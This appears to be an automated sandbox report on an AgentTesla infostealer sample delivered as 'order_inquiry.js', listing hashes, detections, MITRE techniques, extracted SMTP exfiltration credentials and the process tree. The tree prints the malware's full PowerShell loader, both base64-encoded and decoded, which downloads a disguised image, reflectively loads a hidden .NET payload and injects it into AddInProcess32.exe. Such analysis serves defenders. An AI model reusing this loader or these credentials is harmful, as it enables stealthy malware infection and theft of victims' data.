agenttesla | e292b3cb8afbc5494ac8b4e032b8cd0c90ba28f3aaffe150ef6663d8d1214a4b

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
30/05/2024, 08:30

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General

Target
order_inquiry.js
Size 1KB
Sample240530-kd5wgach49
SHA256 e292b3cb8afbc5494ac8b4e032b8cd0c90ba28f3aaffe150ef6663d8d1214a4b
MD5 8936c3dcb63b29572b14c10559ab61ef
SHA1 b5d45293dd2867b6d20508f521a8f5a670e1411e
SHA512 91d40da2988e9a7d6cf3f87684cf3060ad887328cd635df26e5e3d5e31588c577265677f9312da3ffc6e17217a57b51bb67ac99234911292025c9535fa711f92
MD5 SHA1 SHA512

Score

10^/10

agenttesla execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
mail.pakpearlintl.com
Port
587
Username
[email protected]
Password
pakpearlintl.com
Email to
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	3252	wscript.exe
6	3252	wscript.exe
11	3252	wscript.exe
22	2268	powershell.exe
24	2268	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3372	powershell.exe
2268	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
31	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2268 set thread context of 1896	2268	powershell.exe	94

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3372	powershell.exe
3372	powershell.exe
2268	powershell.exe
2268	powershell.exe
2268	powershell.exe
2268	powershell.exe
1896	AddInProcess32.exe
1896	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3372	powershell.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	1896	AddInProcess32.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3252 wrote to memory of 3372	3252	wscript.exe	85
PID 3252 wrote to memory of 3372	3252	wscript.exe	85
PID 3372 wrote to memory of 2268	3372	powershell.exe	87
PID 3372 wrote to memory of 2268	3372	powershell.exe	87
PID 2268 wrote to memory of 4456	2268	powershell.exe	93
PID 2268 wrote to memory of 4456	2268	powershell.exe	93
PID 2268 wrote to memory of 4456	2268	powershell.exe	93
PID 2268 wrote to memory of 1896	2268	powershell.exe	94
PID 2268 wrote to memory of 1896	2268	powershell.exe	94
PID 2268 wrote to memory of 1896	2268	powershell.exe	94
PID 2268 wrote to memory of 1896	2268	powershell.exe	94
PID 2268 wrote to memory of 1896	2268	powershell.exe	94
PID 2268 wrote to memory of 1896	2268	powershell.exe	94
PID 2268 wrote to memory of 1896	2268	powershell.exe	94
PID 2268 wrote to memory of 1896	2268	powershell.exe	94

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\order_inquiry.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanMuanBnPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWltYWdlbnMuY29tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21MaW5rcyAkbGlua3M7IGlmICgkaW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUJ5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFSVD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3RhcnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NExlbmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbWFnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZXMpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT01BQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0Lm96dS8xNy45My4zMjEuMzkvLzpwdHRoJyAsICdkZXNhdGl2YWRvJyAsICdkZXNhdGl2YWRvJyAsICdkZXNhdGl2YWRvJywnQWRkSW5Qcm9jZXNzMzInLCdkZXNhdGl2YWRvJykpfX0=';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778', 'https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ozu/17.93.321.39//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2268
  - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:4456
  - - C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383
MD5 0f6a3762a04bbb03336fb66a040afb97
SHA1 0a0495c79f3c8f4cb349d82870ad9f98fbbaac74
SHA512 cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69
MD5 SHA1 SHA512

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__PSScriptPolicyTest_b4xm5cog.zfh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b4xm5cog.zfh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1896-39-0x0000000005A90000-0x0000000006034000-memory.dmp

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memory/1896-43-0x00000000069D0000-0x00000000069DA000-memory.dmp

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memory/1896-42-0x0000000006A40000-0x0000000006AD2000-memory.dmp

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memory/1896-41-0x0000000006950000-0x00000000069A0000-memory.dmp

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memory/1896-32-0x0000000000400000-0x0000000000442000-memory.dmp

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memory/1896-40-0x0000000005650000-0x00000000056B6000-memory.dmp

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memory/2268-31-0x00000238A8000000-0x00000238A82C0000-memory.dmp

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memory/3372-20-0x00007FFF44C80000-0x00007FFF45741000-memory.dmp

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memory/3372-38-0x00007FFF44C80000-0x00007FFF45741000-memory.dmp

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memory/3372-21-0x00007FFF44C80000-0x00007FFF45741000-memory.dmp

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memory/3372-9-0x00007FFF44C83000-0x00007FFF44C85000-memory.dmp

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memory/3372-19-0x000001A2C0610000-0x000001A2C0632000-memory.dmp

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